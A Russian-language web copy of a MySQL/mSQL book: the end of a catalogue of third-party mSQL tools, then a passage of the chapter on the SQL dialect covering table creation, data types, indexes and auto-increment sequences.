Конвертирует ESQL (Ingres Embedded SQL - встроенный SQL для Ingres) в SQL, доступный для mSQL. ESQL встраивается прямо в исходный код программ на С, чтобы облегчить доступ к базам данных из С. Эта программа конвертирует файл исходного кода С с ESQL в файл исходного кода С, использующий стандартный API mSQL.v Она предназначена для работы в качестве препроцессора и обычно позволяет с помощью фильтрации использовать ESQL-файлы с mSQL без всякой модификации.

Интерфейсы CGI

РНР

Создает HTML-страницы со специальными тегами, распознаваемыми анализатором РНР. РНР содержит интерфейсы к большинству основных баз данных, включая MySQL и mSQL. PHP более подробно освещается в главе 12 «РНР и другие средства поддержки HTML, управляемого базами данных».

dbadmln

Обеспечивает интерфейс CGI к mSQL. Это программа CGI, позволяющая обращаться к любой таблице базы данных mSQL, как если бы она была формой HTML. Можно модифицировать данные в таблице и далее осуществлять операции над самой базой данных.

Jate

Полный интерфейс CGI к mSQL. Jate имеет много сервисов, все они доступны через формы HTML. Можно просматривать и редактировать данные, а также настраивать вывод. Jate импортирует данные плоского файла через текстовые поля HTML. Она также оптимизирует некоторые данные и поисковые запросы перед отправкой их на сервер базы данных.

mSQLCGI

Еще один CGI-интерфейс к таблицам mSQL. Эта программа позволяет просматривать и модифицировать таблицы mSQL через WWW с использованием форм HTML. Особенностью этого интерфейса является необходимость обработки каждой таблицы, которую вы хотите использовать, специальной прилагаемой программой, прежде чем к ней можно будет получить доступ через Web.

Клиентские приложения

dbview

Показывает структуру базы данных mSQL. Эта утилита сходна с relshow, но имеет некоторые дополнительные возможности. Например, dbview показывает количество записей в каждой таблице.

XfSQL

Обеспечивает полный доступ к данным таблиц mSQL в качестве клиента Xforms для X Window System. С помощью этого инструмента можно добавлять, удалять и просматривать данные таблиц в X Window System.

XmSQL

Обеспечивает полный доступ к данным таблиц mSQL как независимый от библиотеки клиент X Window System. Благодаря этому она будет компилироваться на любой системе X Window.

mSQLsql

Отображает форматированные таблицы. Используя эту утилиту, можно просматривать таблицу mSQL в различных видах, включая настраиваемые рамки и разделители для форматированных ASCII-таблиц. Можно также генерировать HTML-таблицы, используя заданные пользователем параметры.

mSQLwin-relshow

Аналог утилиты relshow для графического интерфейса Windows.

Интерфейсы программирования

ConNExS

Предоставляет интерфейс между mSQL и электронной таблицей NexS. NexS является популярной электронной таблицей с возможностью интерактивной связи с внешним источником данных. ConNExS позволяет таблицам mSQL служить источником данных для электронных таблиц NexS. Все изменения в электронной таблице будут отображены в связанной с ней таблицей mSQL.

mSQLBase

Предоставляет API SQLBase как С-оболочку для программ, работающих с mSQL. SQLBase API - это API доступа к базам данных независимого разработчика, поддерживающий несколько основных серверов SQL. Эта программа транслирует mSQL API в SQLBase API, в результате чего клиенты SQLBase могут работать с mSQL.

mSQLCLI

Инкапсулирует С API для mSQL таким образом, что клиенты ODBC под OS/2 могут работать с mSQL. ODBC - распространенный независимый от баз данных API, поддерживаемый большинством баз данных под OS/2 и Windows. Эта оболочка реализует стандартные средства ODBC, поддерживаемые mSQL, но только для операционной системы OS/2. Она содержит минимальный уровень функциональности ODBC.

msqldll

Упаковывает С API для mSQL в виде DLL для Windows. С помощью этой DLL можно создавать приложения для Windows, используя Visual Basic или другой инструмент для программирования в Windows, работающий с DLL.

MsqlJava

Создает оболочку сетевого протокола TCP/IP mSQL для Java API, напоминающую mSQL С API. Помогает быстро начать создавать приложения Java разработчикам, которые уже знают mSQL С API, но не знакомы со стандартом JDBC API. MsqlJava работает только с JDK 1.0.

mSQL-JDBC

Реализует стандарт Java Database Connectivity (JDBC) API поверх сетевого протокола TCP/IP mSQL. Этот пакет поддерживает максимальный уровень функциональности JDBC, возможный для mSQL в среде JDK 1.1 и JDK 1.2 (Java 2), включая стандарт JDBC 2.O. В главе 14 «Java и JDBC» подробно обсуждается программирование на Java с использованием этого API, а в главе 22 «Справочник по JDBC» представлено полное справочное руководство по JDBC 2.0.

MsqlODBC

Реализует ODBC API для mSQL 1 в Windows. Дэвид Хьюз в настоящее время работает над реализацией для mSQL 2.

mSQLPerl

Обеспечивает сценариям Perl доступ к базам данных mSQL. В главе 10 «Perl», подробно обсуждается программирование на Perl для MySQL и mSQL, а в главе 21 «Справочник по Perl», представлено полное справочное руководство по mSQLPerl.

mSQLPython

Обеспечивает сценариям Python доступ к базам данных mSQL. В главе 11 «Python», подробно обсуждается программирование на Python для MySQL и mSQL, а в главе 20 «Справочник по Python», представлено полное справочное руководство по mSQLPython.

mSQLRexx

Поддерживает доступ к mSQL из REXX, языка сценариев, наиболее часто используемого в OS/2.

mSQLTCL

Позволяет программам на Tel иметь доступ к базам данных mSQL. Поддержка включает многие расширения Tcl, в том числе Tcl/Tk и Expect.

mSQLVdb

Обеспечивает доступ к базам данных mSQL через библиотеку базы данных Vdb. Vdb - не зависящий от типа базы данных API для С, позволяющий единому клиенту иметь доступ к различным серверам баз данных. Клиенты Vdb могут использовать этот API для доступа к базам данных mSQL.

zmsql

Обеспечивает объектно-ориентированный доступ к базам данных mSQL для программ на C++.

Разное

mod_auth_msql

Осуществляет аутентификацию пользователей сервера Apache. Обычно Apache осуществляет контроль доступа с помощью простых текстовых файлов, содержащих имена пользователей и зашифрованные пароли. Данный модуль позволяет управлять доступом через базу данных mSQL.

mSQLEmacs

Расширяет базовую поддержку режима SQL в Emacs, обеспечивая отступы и выделение цветом для mSQL-диалекта SQL.

msqlexpire

Удаляет из таблиц mSQL устаревшие данные. Для использования этой программы нужно иметь в таблице mSQL колонку, содержащую возраст данных. Эта программа находит в таблице данные старше указанного возраста и удаляет их. Можно потребовать, чтобы msqlexpire посылала уведомления по электронной почте после каждого удаления.

mSQLSSL

Вводит в mSQL поддержку защищенных сетевых соединений по протоколу SSL. Чтобы использовать этот продукт, необходимо скомпилировать mSQL вместе с ним. Будучи установленным, полностью защищает ваши сетевые соединения от любопытных глаз.

Sqs

Генерирует уникальные числовые идентификаторы для таблиц базы данных. После установки этой программы на сервере как демона, любое число клиентов может соединяться с демоном, чтобы создавать, читать или удалять последовательности.

Болеро
Видео, Музыка, Программы, Игрушки, Книги, Подарки. Доставка курьером, почтой.

Digita.ru
Интернет-Магазин:
Современная Аудио- и Видеотехника.

Gimi.Ru:
бытовая техника, посуда, увлажнители и ионизаторы воздуха, эпиляторы, электро- и гидромассажеры

Porta.Ru
Цифровое Аудио, Фото и Видео, Компьютеры и Связь, Часы, Переводчики и др.


  • Глава №6. Диалект SQL, используемый в MySQL и mSQL
    • Основы SQL
    • Создание и удаление таблиц
    • Типы данных в SQL
    • Индексы
    • Последовательности и автоинкрементирование
    • Управление данными
    • Расширения языка

Глава №6.

Диалект SQL, используемый в MySQL и mSQL

Для чтения и записи в базах данных MySQL и mSQL используется структурированный язык запросов (SQL). Используя SQL, можно осуществлять поиск, вводить новые данные или удалять данные. SQL является просто основополагающим инструментом, необходимым для взаимодействия с MySQL и mSQL. Даже если для доступа к базе данных вы пользуетесь каким-то приложением или графическим интерфейсом пользователя, где-то в глубине это приложение генерирует SQL-команды.

SQL является разновидностью «естественного языка». Иными словами, команда SQL должна читаться, по крайней мере на первый взгляд, как. предложение английского языка. У такого подхода есть как преимущества, так и недостатки, но факт заключается в том, что этот язык очень непохож на традиционные языки программирования, такие как С, Java или Perl.

В этой главе мы рассмотрим язык SQL, как он реализован в MySQL и mSQL. По большей части, диалект MySQL является надмножеством диалекта mSQL. Мы старательно отметим те случаи, где два диалекта расходятся. Однако в основном эта глава относится и к одной, и к другой СУБД.

Основы SQL

SQL «структурирован» в том отношении, что он следует определенному набору правил. Компьютерной программе легко разобрать на части сформулированный запрос SQL. Действительно, в книге издательства O'Reilly «lex & у асе», написанной Джоном Ливайном, Тони Мэйсоном и Дугом Брауном (John Levine, Tony Mason, Doug Brown), реализована грамматика SQL для демонстрации процесса создания программы, интерпретирующей язык! Запрос (query) - это полностью заданная команда, посылаемая серверу баз данных, который выполняет запрошенное действие. Ниже приведен пример SQL-запроса:

SELECT name FROM people WHERE name LIKE 'Stac%'

Как можно видеть, это предложение выглядит почти как фраза на ломаном английском языке: «Выбрать имена из список люди, где имена похожи на Stac». SQL в очень незначительной мере использует форматирование и специальные символы, обычно ассоциируемые с компьютерными языками. Сравните, к примеру, «$++;($*++/$|);$&$л„;$!» в Perl и «SELECT value FROM table» в SQL.

История SQL

В IBM изобрели SQL в начале 1970-х, вскоре после введения д-ром Е. Ф. Коддом (Е. F. Codd) понятия реляционной базы данных. С самого начала SQL был легким в изучении, но мощным языком. Он напоминает естественный язык, такой как английский, и поэтому не утомляет тех, кто не является техническим специалистом. В 1970-х это достоинство было еще более важным, чем сегодня.

В начале 1970-х не было случайных хакеров. Дети росли, не изучая BASIC и не создавая собственных веб-страничек. Люди, программировавшие компьютеры, знали все о том, как эти компьютеры работают. SQL был предназначен для армии несведущих в технике бухгалтеров, а также делового и управленческого персонала, которым принес бы пользу доступ к мощи реляционной базы данных.

SQL действительно был настолько популярен среди пользователей, для которых предназначался, что в 1980-х компания Oracle выпустила первую в мире общедоступную коммерческую SQL-систему. Oracle SQL был хитом сезона и породил вокруг SQL целую индустрию. Sybase, Informix, Microsoft и ряд других компаний вышли на рынок с собственными разработками реляционных систем управления базами данных (РСУБД), основанных на SQL.

В то время когда Oracle и ее конкуренты вышли на сцену, SQL был новинкой, и для него не существовало стандартов. Лишь в 1989 году комиссия по стандартам ANSI выпустила первый общедоступный стандарт SQL. Сегодня его называют SQL89. К несчастью, этот новый стандарт не слишком углублялся в определение технической структуры языка. Поэтому, хотя различные коммерческие реализации языка SQL сближались, различия в синтаксисе делали задачу перехода с одной реализации языка на другую нетривиальной. Только в 1992 году стандарт ANSI SQL вступил в свои права.

Произносится как «сиквел» или «эс-кю-эль». Некоторые люди относятся с благоговением к произношению SQL. He обращайте на них внимания. Однако нужно заметить, что в MySQL и mSQL правильное произношение -«эс-кю-эль».

Стандарт 1992 года обозначают как SQL92 или SQL2. Стандарт SQL2 включил в себя максимально возможное количество расширений, добавленных в коммерческих реализациях языка. Большинство инструментов, работающих с различными базами данных, основывается на SQL2 как на способе взаимодействия с реляционными базами данных. Однако, из-за очень большой широты стандарта SQL2, реляционные базы, реализующие полный стандарт, очень сложные и ресурсоемкие.

SQL2 - не последнее слово в стандартах SQL. В связи с ростом популярности объектно-ориентированных СУБД (ООСУБД) и объектно-реляционных СУБД (ОРСУБД) возрастает давление с целью принятия объектно-ориентированного доступа к базам данных в качестве стандарта SQL. Ответом на эту проблему должен послужить SQL3. Он не является пока официальным стандартом, но в настоящее время вполне определился и может стать официальным стандартом где-то в 1999 году.

С появлением MySQL и mSQL проявился новый подход к разработке серверов баз данных. Вместо создания очередной гигантской РСУБД с риском не предложить ничего нового в сравнении с «большими парнями», были предложены небольшие и быстрые реализации наиболее часто используемых функций SQL.

Архитектура SQL

Как мы уже отмечали, SQL больше напоминает естественный человеческий, а не компьютерный язык. SQL добивается этого сходства благодаря простой четкой императивной структуре. Во многом походя на предложение английского языка, отдельные команды SQL, называемые запросами, могут быть разбиты на части речи. Рассмотрим следующие примеры.

CREATE TABLE people (name CHAR(10))

глагол дополнение расширенное определение

INSERT INTO people VALUES('me')

глагол косвенное прямое

дополнение дополнение

SELECT name FROM people WHERE name LIKE '%e'

глагол прямое косвенное придаточное дополнение дополнение предложение

Большинство реализаций SQL, включая MySQL и mSQL, нечувствительны к регистру: неважно, в каком регистре вы вводите ключевые слова SQL, если орфография верна. Например, CREATE из верхнего примера можно записать и так:

cREatE ТАblЕ people (name cHaR(10))

Нечувствительность к регистру относится только к ключевым словам SQL. Ради удобочитаемости все ключевые слова SQL в этой книге записаны заглавными буквами. Мы рекомендуем такой стиль как хороший, «опробованный на практике» способ. В MySQL и mSQL имена баз данных, таблиц и колонок к регистру чувствительны. Но это характерно не для всех СУБД. Поэтому, если вы пишете приложение, которое должно работать с любыми СУБД, не следует использовать имена, различающиеся одним только регистром.

Первый элемент SQL-запроса - всегда глагол. Глагол выражает действие, которое должно выполнить ядро базы данных. Хотя остальная часть команды зависит от глагола, она всегда следует общему формату: указывается имя объекта, над которым осуществляется действие, а затем описываются используемые при действии данные. Например, в запросе CREATE TABLE people (char(10)) используется глагол CREATE, за которым следует дополнение (объект) TABLE .Оставшаяся часть запроса описывает таблицу, которую нужно создать.

SQL-запрос исходит от клиента - приложения, предоставляющего фасад, с помощью которого пользователь взаимодействует с базой данных. Клиент составляет запрос, основываясь на действиях пользователя, и посылает его серверу SQL. После этого сервер должен обработать запрос и выполнить указанные действия. Сделав свою работу, сервер возвращает клиенту одно или несколько значений.

Поскольку основная задача SQL - сообщить серверу баз данных о том, какие действия необходимо выполнить, он не обладает гибкостью языка общего назначения. Большинство функций SQL связано с вводом и выводом из базы: добавление, изменение, удаление и чтение данных. SQL предоставляет и другие возможности, но всегда с оглядкой на то, как они могут использоваться для манипулирования данными в базе.

Создание и удаление таблиц

Успешно установив MySQL или mSQL, вы можете приступить к созданию своей первой таблицы. Таблица, структурированное вместилище данных, является основным понятием реляционных баз. Прежде чем начать вводить данные в таблицу, вы должны определить ее структуру. Рассмотрим следующую раскладку:

каждого поля, а также возможные дополнительные сведения о полях. Тип данных поля определяет, какого рода данные могут в нем содержаться. Типы данных SQL сходны с типами данных в других языках программирования. Полный стандарт SQL допускает большое разнообразие типов данных. MySQL реализует большую их часть, в то время как mSQL -лишь несколько наиболее полезных.

Общий синтаксис для создания таблиц следующий:

CREATE TABLE table_name (colutnn_namel type [modifiers] [, column_name2 type [modifiers]] )

Какие идентификаторы - имена таблиц и колонок - являются допустимыми, зависит от конкретной СУБД. mSQL обеспечивает поддержку имен в объеме, близком к минимальному. В качестве идентификатора он допускает любую последовательность букв набора ISO 8859-1 (Latin 1), цифр и знака «-», длиной до 20 символов. Идентификатор должен начинаться с буквы. Проблемы вызывает ограничение на использование только ISO 8859-1. Для хорошей переносимости SQL нужно избегать имен, начинающихся не с допустимой буквы. MySQL предоставляет больше возможностей. Длина идентификатора может быть до 64 символов, допустим символ «$», и первым символом может быть цифра. Более важно, однако, что MySQL допускает использование любых символов из установленного в системе локального набора.

Колонка - это отдельная единица данных в таблице. В таблице может содержаться произвольное число колонок, но использование больших таблиц бывает неэффективным. Вот здесь правильное проектирование базы данных, обсуждавшееся в главе 2, начинает играть важную роль. Создав правильно нормализованные таблицы, можно объединять их («join») для осуществления поиска в данных, размещенных в нескольких таблицах. Механику объединения таблиц мы обсудим позднее в данной главе.

Как и бывает в жизни, разрушить легче, чем создать. Следующая команда удаляет таблицу:

DROP TABLE Lable_name

Эта команда не оставит и следа от таблицы в базе данных. MySQL уничтожит все данные удаленной таблицы. Если у вас не осталось резервной копии, нет абсолютно никакого способа отменить действие данной операции. Мораль этой истории: всегда храните резервные копии и будьте очень внимательны при удалении таблиц. В один «прекрасный» день это вам пригодится.

В MySQL можно одной командой удалить несколько таблиц, разделяя их имена запятыми. Например, DROP TABLE people, animals, plants удалит эти три таблицы. Можно также использовать модификатор IF EXISTS для подавления ошибки в случае отсутствия удаляемой таблицы. Этот модификатор полезен в больших сценариях, предназначенных для создания базы данных и всех ее таблиц. Прежде чем создавать таблицу, выполните команду DROP TABLE table_name IF EXISTS.

Типы данных в SQL

Каждая колонка таблицы имеет тип. Как уже указывалось, типы данных SQL сходны с типами данных традиционных языков программирования. В то время как во многих языках определен самый минимум типов, необходимых для работы, в SQL для удобства пользователей определены дополнительные типы, такие как MONEY и DATE. Данные типа MONEY можно было бы хранить и как один из основных числовых типов данных, однако использование типа, специально учитывающего особенности денежных расчетов, повышает легкость использования SQL, которая является одной из главных его целей.

В главе 15 «Справочник по SQL» дается полное справочное руководство по типам SQL, поддерживаемым MySQL и mSQL. В таблице 6-1 дан сокращенный список, состоящий из наиболее употребительных типов, поддерживаемых в обоих языках.

Таблица 6-1. Наиболее употребительные типы, данных, поддерживаемые как MySQL, так и mSQL

Тип данных | Описание
INT | Целое число. В MySQL INT может быть со знаком или без знака, в то время как mSQL имеет отдельный тип UINT для беззнаковых целых.
REAL | Число с плавающей запятой. Этот тип допускает больший диапазон значений, чем INT, но не обладает его точностью.
TEXT(length) | Символьная величина переменной длины. В mSQL значение length используется как предположение о том, какой длины будут хранимые строки. Можно сохранять и строки большей длины, но ценой потери производительности. В MySQL TEXT - лишь один из нескольких типов данных переменного размера.
DATE | Стандартное значение даты. Хотя формат хранения даты различен в MySQL и mSQL, оба ядра могут использовать тип DATE для хранения произвольных дат, относящихся к прошлому, настоящему и будущему. Оба ядра правильно решают «проблему 2000».
TIME | Стандартное значение времени. Этот тип используется для хранения времени дня безотносительно какой-либо даты. При использовании вместе с датой позволяет хранить конкретную дату и время. В MySQL есть дополнительный тип DATETIME для совместного хранения даты и времени в одном поле.
CHAR(length) | Символьная величина фиксированной длины. Поля типа CHAR не могут содержать строки длины большей, чем указанное значение. Поля меньшей длины дополняются пробелами. Вероятно, это наиболее употребительный тип в любой реализации SQL.

«MySQL поддерживает атрибут UNSIGNED для всех числовых типов. Этот модификатор позволяет вводить в колонку только положительные (беззнаковые) числа. Беззнаковые поля имеют верхний предел значений вдвое больший, чем у соответствующих знаковых типов. Беззнаковый TINYINT - однобайтовый числовой тип MySQL - имеет диапазон от 0 до 255, а не от -127 до 127, как у своего знакового аналога.

Та и другая СУБД имеют больше типов, чем перечислено выше. Особенно большое число типов поддерживает MySQL. Однако на практике в основном используются перечисленные типы. В mSQL выбор типа данных сводится к выбору типа, наиболее близкого к данным, которые вы собираетесь хранить. Размер данных, которые вы собираетесь хранить, играет гораздо большую роль при разработке таблиц MySQL.

Числовые типы данных

Прежде чем создавать таблицу, вы должны хорошо представить себе, какого рода данные вы будете в ней хранить. Помимо очевидного решения о том, будут это числовые или символьные данные, следует выяснить примерный размер хранимых данных. Если это числовое поле, то каким окажется максимальное значение? Может ли оно измениться в будущем? Если минимальное значение всегда положительно, следует рассмотреть использование беззнакового типа. Всегда следует выбирать самый маленький числовой тип, способный хранить самое большое мыслимое значение. Если бы, к примеру, требовалось хранить в поле численность населения штата, следовало бы выбрать беззнаковый INT. Ни в каком штате не может быть отрицательной численности населения, и для того, чтобы беззнаковое поле типа INT не могло вместить число, представляющее его население, численность населения этого штата должна примерно равняться численности населения всей Земли.

Символьные типы

С символьными типами работать немного труднее. Вы должны подумать не только о максимальной и минимальной длине строки, но также о среднем размере, частоте отклонения от него и необходимости в индексировании. В данном контексте мы называем индексом поле или группу полей, в которых вы собираетесь осуществлять поиск — в основном, в предложении WHERE. Индексирование, однако, значительно сложнее, чем такое упрощенное определение, и мы займемся им далее в этой главе. Здесь важно лишь отметить, что индексирование по символьным полям происходит значительно быстрее, если они имеют фиксированную длину. В действительности, mSQL даже не позволяет индексировать поля переменной длины. Если длина строк не слишком колеблется или, что еще лучше, постоянна, то, вероятно, лучше выбрать для поля тип CHAR. Пример хорошего кандидата на тип CHAR — код страны. Стандартом ISO определены двухсимвольные коды для всех стран (US для США, FR для Франции и т. д.). Поскольку эти коды состоят ровно из двух символов, CHAR(2) будет правильным выбором для данного поля.

Чтобы подходить для типа CHAR, поле необязательно должно быть фиксированной длины, но длина не должна сильно колебаться. Телефонные номера, к примеру, можно смело хранить в поле CHAR(13), хотя длина номеров различна в разных странах. Просто различие не столь велико, поэтому нет смысла делать поле для номера телефона переменным по длине. В отношении поля типа CHAR важно помнить, что, вне зависимости от реальной длины хранимой строки, в поле будет ровно столько символов, сколько указано в его размере — не больше и не меньше. Разность в длине между размером сохраняемого текста и размером поля заполняется пробелами. Не стоит беспокоиться по поводу нескольких лишних символов при хранении телефонных номеров, но не хотелось бы тратить много места в некоторых других случаях. Для этого существуют текстовые поля переменной длины.

Хороший пример поля, для которого требуется тип данных с переменной длиной, дает URL Интернет. По большей части адреса Web занимают сравнительно немного места - http://www.ora.com , http:// www.hughes.com.au, http://www.mysql.com - и не представляют проблемы. Иногда, однако, можно наткнуться на адреса подобного вида: http://www.winespectator.com/Wine/Spectator/ _notes\5527293926834323221480431354? Xvl I =&Xr5=&Xvl =& type-region-search- code=&Xal 4=flora+springs&Xv4=.

Если создать поле типа CHAR длины, достаточной для хранения этого URL, то почти для каждого другого хранимого URL будет напрасно тратиться весьма значительное пространство. Поля переменной длины позволяют задать такую длину, что оказывается возможным хранение необычно длинных значений, и в то же время не расходуется напрасно место при хранении обычных коротких величин. В MySQL и mSQL подход к этой проблеме различный.

Поля переменной длины в MySQL

Если вы используете только mSQL, этот раздел можно пропустить. Преимуществом текстовых полей переменной длины в MySQL является то, что они используют ровно столько места, сколько необходимо для хранения отдельной величины. Например, поле типа VARCHAR(255) , в котором хранится строка «hello, world», занимает только двенадцать байтов (по одному байту на каждый символ плюс еще один байт для хранения длины).

В отличие от стандарта ANSI, в MySQL поля типа VARCHAR не дополняются пробелами. Перед записью из строки удаляются лишние пробелы.

Сохранить строки, длина которых больше, чем заданный размер поля, нельзя. В поле VARCHAR(4) можно сохранить строку не длиннее 4 символов. Если вы попытаетесь сохранить строку «happy birthday», MySQL сократит ее до «happ». Недостатком подхода MySQL к хранению полей переменной длины, в сравнении с mSQL, является то, что не существует способа сохранить необычную строку, длина которой превосходит заданное вами значение. В таблице 6-2 показан размер пространства, необходимого для хранения 144-символьного URL, продемонстрированного выше, и обычного, 30-символьного URL,

Таблица 6-2. Пространство памяти, необходимое для различных символьных типов MySQL

Тип данных | Пространство для хранения строки из 144 символов | Пространство для хранения строки из 30 символов | Максимальная длина строки
СНАR(150) | 150 | 150 | 255
VARCHAR(ISO) | 145 | 31 | 255
TINYTEXT(ISO) | 145 | 31 | 255
ТЕХТ(150) | 146 | 32 | 65535
MEDIUM-ТЕХТ(150) | 147 | 33 | 16777215
LONGTEXT(150) | 148 | 34 | 4294967295

Если через годы работы со своей базой данных вы обнаружите, что мир изменился, и поле, уютно чувствовавшее себя в типе VARCHAR(25) , должно теперь вмещать строки длиной 30 символов, не все потеряно. В MySQL есть команда ALTER TABLE , позволяющая переопределить размер поля без потери данных.

ALTER TABLE mytable MODIFY tnycolumn LONGTEXT

Поля переменной длины в mSQL

Если вас интересует только MySQL, этот раздел можно пропустить. Символьные поля переменной длины в mSQL позволяют задать длину как средний размер строки, которая будет в нем храниться. Каждая величина, вводимая в это поле, займет, по крайней мере, столько места, сколько вами задано, но поле может хранить и более длинные строки. Для этого база данных создает таблицу переполнения, в которой хранит лишние данные. Недостаток такого подхода проявляется в снижении производительности и невозможности индексировать поля переменной длины.

Остановимся немного на последствиях различий в подходе. Чтобы сохранить все вышеперечисленные URL в поле типа CHAR, потребуется колонка типа CHAR(144). При таком развитии событий четыре упомянутые URL займут 576 байт (144 х 4), хотя фактически хранится только 216 байт данных. Остальные 360 байт- просто потерянное пространство. Если помножить эту цифру на тысячи и миллионы строк, то можно понять, что это представляет собой серьезную проблему. Если же использовать поле переменной длины типа ТЕХТ(30), то для хранения 216 байт данных требуется только 234 байта (30 X 3 + 144). Всего лишь 18 байт потеряно. Экономия составила 41%!

Двоичные типы данных

В mSQL нет поддержки двоичных данных. В MySQL, напротив, есть целый ряд двоичных типов данных, соответствующих своим символьным аналогам. Двоичными типами, поддерживаемыми MySQL, являются CHAR BINARY , VARCHAR BINARY , TINYBLOB, BLOB, MEDIUMBLOB и LONGBLOB. Практическое отличие между символьными типами и их двоичными аналогами основано на принципе кодировки. Двоичные данные просто являются куском данных, которые MySQL не пытается интерпретировать. Напротив, символьные данные предполагаются представляющими текстовые данные из используемых человеком алфавитов. Поэтому они кодируются и сортируются, основываясь на правилах, соответствующих рассматриваемому набору символов. Двоичные же данные MySQL сортирует в порядке ASCII без учета регистра.

Перечисления и множества

MySQL предоставляет еще два особых типа данных, не имеющих аналога в mSQL. Тип ENUM позволяет при создании таблицы указать список возможных значений некоторого поля. Например, если бы у вас была колонка с именем «фрукт», в которую вы разрешили бы помещать только значения «яблоко», «апельсин», «киви» и «банан», ей следовало бы присвоить тип ENUM:

CREATE TABLE meal(meal_id INT NOT NULL PRIMARY KEY,

фрукт ENUM('яблоко', 'апельсин', 'киви', 'банан'))

При записи значения в эту колонку оно должно быть одним из перечисленных фруктов. Поскольку MySQL заранее знает, какие значения допустимы для этой колонки, она может абстрагировать их каким-либо числовым типом. Иными словами, вместо того, чтобы хранить в колонке «яблоко» в виде строки, MySQL заменяет его однобайтовым числом, а «яблоко» вы видите, когда обращаетесь к таблице или выводите из нее результаты.

Тип MySQL SET работает аналогично, но позволяет одновременно хранить в поле несколько значений.

Другие типы данных

Любые мыслимые данные можно хранить с помощью числовых или символьных типов. В принципе, даже числа можно хранить в символьном виде. Однако то, что это можно сделать, не означает, что это нужно делать. Рассмотрим, к примеру, как хранить в базе данных денежные суммы. Можно делать это, используя INT или REAL. Хотя интуитивно REAL может показаться более подходящим - в конце концов, в денежных суммах нужны десятичные знаки, - на самом деле более правильно использовать INT. В полях, содержащих значения с плавающей запятой, таких как REAL, часто невозможно найти число с точным десятичным значением. Например, если вы вводите число 0.43, которое должно представлять сумму $0.43, MySQL и mSQL могут записать его как 0.42999998. Это небольшое отличие может вызвать проблемы при совершении большого числа математических операций. Сохраняя число как INT и устанавливая десятичную точку в нужное место, можно быть уверенным, что его значение представляет именно то, что вам требуется.

К чему такие хлопоты? Не лучше ли было бы, если бы MySQL и mSQL обеспечивали некий тип данных, специально предназначенный для денежных сумм? MySQL и в меньшей степени mSQL предоставляют специальные типы данных для таких случаев. Одним из них является тип MONEY, другим- DATE. Полное описание всех типов данных можно найти в главе 17 «Программы и утилиты для MySQL и mSQL».

Индексы

Хотя MySQL и mSQL обеспечивают более высокую производительность, чем любые большие серверы баз данных, некоторые задачи все же требуют осторожности при проектировании базы данных. Например, если таблица содержит миллионы строк, поиск нужной строки в ней наверняка потребует длительного времени. Как указывалось в главе 2, в большинстве баз данных поиск облегчается благодаря средству, называемому индексом.

Индексы способствуют хранению данных в базе таким образом, который позволяет осуществлять быстрый поиск. К несчастью, ради скорости поиска приходится жертвовать дисковым пространством и скоростью изменения данных. Наиболее эффективно создавать индексы для тех колонок, в которых вы чаще всего собираетесь осуществлять поиск. MySQL и mSQL поддерживают одинаковый синтаксис для создания индексов:

CREATE INDEX index_name ON tablename (column1,

column2,

columnN)

MySQL позволяет также создавать индекс одновременно с созданием таблицы, используя следующий синтаксис:

CREATE TABLE materials (id INT NOT NULL,

name CHAR(50) NOT NULL,

resistance INT,

melting_pt REAL,

INDEX indexl (id, name),

UNIQUE INDEX index2 (name))

В этом примере для таблицы создается два индекса. Первый индекс indexl состоит из полей id и name. Второй индекс включает в себя только поле name и указывает, что значения поля name должны быть уникальными. Если вы попытаетесь вставить в поле name значение, которое уже есть в этом поле в какой-либо строке, операция не будет осуществлена. Все поля, указанные в уникальном индексе, должны быть объявлены как NOT NULL .

Хотя мы создали отдельный индекс для поля name, отдельно для поля id мы не создавали индекса. Если такой индекс нам понадобится, создавать его не нужно - он уже есть. Когда индекс содержит более одной колонки (например, name, rank, nserial_number), MySQL читает колонки в порядке слева направо. Благодаря используемой MySQL структуре индекса всякое подмножество колонок с левого края автоматически становится индексом внутри «главного» индекса. Например, когда вы создаете индекс name, rank, serial_number, создаются также «свободные» индексы name и name вместе с rank. Однако индексы rank или name и seri-al_number не создаются, если не потребовать этого явно.

MySQL поддерживает также семантику ANSI SQL для особого индекса, называемого первичным ключом. В MySQL первичный ключ - это уникальный индекс с именем PRIMARY. Назначив при создании таблицы колонку первичным ключом, вы делаете ее уникальным индексом, который будет поддерживать объединения таблиц. В следующем примере создается таблица cities с первичным ключом id.

CREATE TABLE cities (id INT NOT NULL PRIMARY KEY,

name VARCHAR(100),

pop MEDIUMINT,

founded DATE)

Прежде чем создавать таблицу, нужно решить, какие поля будут ключами (и будут ли вообще ключи). Как уже говорилось, любые поля, которые будут участвовать в объединении таблиц, являются хорошими кандидатами на роль первичного ключа. Подробно обсуждение того, как проектировать таблицы с хорошими первичными ключами, можно найти в главе 2.

Последовательности и автоинкрементирование

Лучше всего, когда первичный ключ не имеет в таблице никакого иного значения, кроме значения первичного ключа. Для достижения этого лучшим способом является создание числового первичного ключа, значение которого увеличивается при добавлении в таблицу новой строки. Если вернуться к примеру с таблицей cities, то первый введенный вами город должен иметь id, равный 1, второй - 2, третий - 3, и т. д. Чтобы успешно управлять такой последовательностью первичных ключей, нужно иметь какое-то средство, гарантирующее, что в данный конкретный момент только один клиент может прочесть число и увеличить его на единицу. В базе данных с транзакциями можно создать таблицу, скажем, с именем sequence , содержащую число, представляющее очередной id. Когда необходимо добавить новую строку в таблицу, вы читаете число из этой таблицы и вставляете число на единицу большее. Чтобы эта схема работала, нужно быть уверенным, что никто другой не сможет произвести чтение из таблицы, пока вы не ввели новое число. В противном случае два клиента могут прочесть одно и то же значение и попытаться использовать его в качестве значения первичного ключа в одной и той же таблице.

Ни MySQL, ни mSQL не поддерживают транзакции, поэтому описанный механизм нельзя использовать для генерации уникальных чисел. Использовать для этих целей команду MySQL LOCK TABLE обременительно. Тем не менее обе СУБД предоставляют свои варианты понятия последовательности, позволяющие генерировать уникальные идентификаторы, не беспокоясь о транзакциях.

Последовательности в MySQL

При создании таблицы в MySQL можно одну из колонок специфицировать как AUTO_INCREMENT . В этом случае, при добавлении новой строки, имеющей значение NULL или 0 в данной колонке, автоматически будет происходить замена на значение на единицу больше, чем наибольшее текущее значение в колонке. Колонка с модификатором AUTO_INCREMENT должна быть индексирована. Ниже приведен пример использования поля типа AUTOJNCREMENT :

CREATE TABLE cities (id INT NOT NULL PRIMARY KEY AUTO_INCREMENT,

name VARCHAR(100),

pop MEDIUMINT,

founded DATE)

Когда вы первый раз добавляете строку, поле id получает значение 1, если в команде INSERT для него используется значение NULL или 0. Например, следующая команда использует возможность AUTO_INCREMENT:

INSERT INTO cities (id, name, pop)

VALUES (NULL, 'Houston', 3000000)

